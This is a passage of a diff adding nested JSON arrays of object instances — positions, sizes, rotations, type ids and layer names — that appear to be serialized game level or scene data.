+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 721.1268310546875,
+ 912.4014892578125,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4873,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 949.2588500976562,
+ 881.3248291015625,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 4874,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1598,
+ 722,
+ 0,
+ 249.9819946289063,
+ 249.9819946289063,
+ 0,
+ 0,
+ 1,
+ 0.5018181800842285,
+ 0.5018181800842285,
+ 0,
+ 0,
+ []
+ ],
+ 406,
+ 4901,
+ [],
+ [
+ [
+ -50,
+ 0
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2708,
+ 323,
+ 0,
+ 44.38152313232422,
+ 21.39823532104492,
+ 0,
+ -0.7823646664619446,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 498,
+ 4936,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2507.3427734375,
+ 997.7857666015625,
+ 0,
+ 936.0682373046875,
+ 49.28985595703125,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4938,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1830,
+ 597,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4945,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2456.654541015625,
+ 993.4805297851562,
+ 0,
+ 170,
+ 51,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5098039507865906,
+ 0,
+ 0,
+ []
+ ],
+ 480,
+ 4946,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2623.654541015625,
+ 993.4805297851562,
+ 0,
+ 170,
+ 51,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5098039507865906,
+ 0,
+ 0,
+ []
+ ],
+ 480,
+ 4947,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2216,
+ 914,
+ 0,
+ 37,
+ 159,
+ 0,
+ 0,
+ 1,
+ 0.5135135054588318,
+ 0.5031446814537048,
+ 0,
+ 0,
+ []
+ ],
+ 493,
+ 4948,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2238,
+ 797,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4949,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2239,
+ 718,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4950,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2239,
+ 639,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4952,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2240,
+ 561,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4953,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2240,
+ 482,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4954,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2242.576171875,
+ 245.6109313964844,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4957,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2242.576171875,
+ 166.6109313964844,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4958,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2243.576171875,
+ 88.61093139648438,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4959,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2244.576171875,
+ 9.610931396484375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4960,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1831,
+ 800,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4961,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2317,
+ 482,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4962,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2319,
+ 246,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4965,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2319,
+ 167,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4966,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2320,
+ 89,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4967,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2321,
+ 10,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4968,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2395,
+ 482,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4969,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2397,
+ 246,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4972,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2397,
+ 167,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4973,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2398,
+ 89,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4974,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2399,
+ 10,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4975,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2471,
+ 561,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4976,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2472,
+ 483,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4977,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2473,
+ 246,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4980,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2474,
+ 168,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4981,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2475,
+ 89,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4982,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2549,
+ 561,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4983,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2550,
+ 483,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4984,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2551,
+ 246,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4987,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2552,
+ 168,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4988,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2553,
+ 89,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4989,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2476,
+ 11,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4990,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2554,
+ 11,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4991,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2427,
+ 948,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4992,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2936,
+ 939,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5010,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2936,
+ 860.7220458984375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5011,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2857.646728515625,
+ 939.0601196289062,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5012,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2857.373779296875,
+ 863.0565795898438,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5013,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2939.48583984375,
+ 783.778564453125,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5014,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3723.16357421875,
+ 581.8489379882812,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5022,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3303,
+ 534,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5023,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3685.6298828125,
+ 607.5239868164062,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5024,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5299,
+ 829,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5063,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5300,
+ 751,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5064,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5301,
+ 672,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5065,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5375,
+ 829,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5066,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5376,
+ 751,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5067,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5377,
+ 672,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5068,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4797.02490234375,
+ 854.6403198242188,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5069,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4829.02490234375,
+ 854.6403198242188,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5070,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4860.02490234375,
+ 854.6403198242188,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5071,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4891.02490234375,
+ 854.6403198242188,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5072,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5031.36181640625,
+ 855.5287475585938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5073,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5063.36181640625,
+ 855.5287475585938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5074,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5094.36181640625,
+ 855.5287475585938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5075,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5125.36181640625,
+ 855.5287475585938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5076,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5080,
+ 738,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5077,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4971,
+ 658,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5078,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 312.6983032226563,
+ 927.9539184570312,
+ 0,
+ 157,
+ 21,
+ 0,
+ -0.574984073638916,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5079,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 881.708740234375,
+ 917.3485717773438,
+ 0,
+ 295.8233947753906,
+ 21,
+ 0,
+ -0.5061454772949219,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5080,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1142.892578125,
+ 963.8193359375,
+ 0,
+ 268.3203735351563,
+ 252.2945556640625,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5081,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2237.650390625,
+ 677.5963745117188,
+ 0,
+ 83,
+ 307,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5082,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2432.462890625,
+ -67.905029296875,
+ 0,
+ 312,
+ 550,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5083,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2895.694091796875,
+ 939.6792602539062,
+ 0,
+ 155.7535400390625,
+ 79.19989013671875,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5084,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2936.030517578125,
+ 861.4586181640625,
+ 0,
+ 79.3143310546875,
+ 79.19989013671875,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5085,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3609.122802734375,
+ 869.5,
+ 0,
+ 384,
+ 490,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5086,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5072.1083984375,
+ 1013.548706054688,
+ 0,
+ 843.73681640625,
+ 292.322998046875,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5087,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5379.21875,
+ 756.1459350585938,
+ 0,
+ 236.89453125,
+ 248.6421508789063,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5088,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2315.1220703125,
+ 561.5607299804688,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5094,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2393.1220703125,
+ 561.5607299804688,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
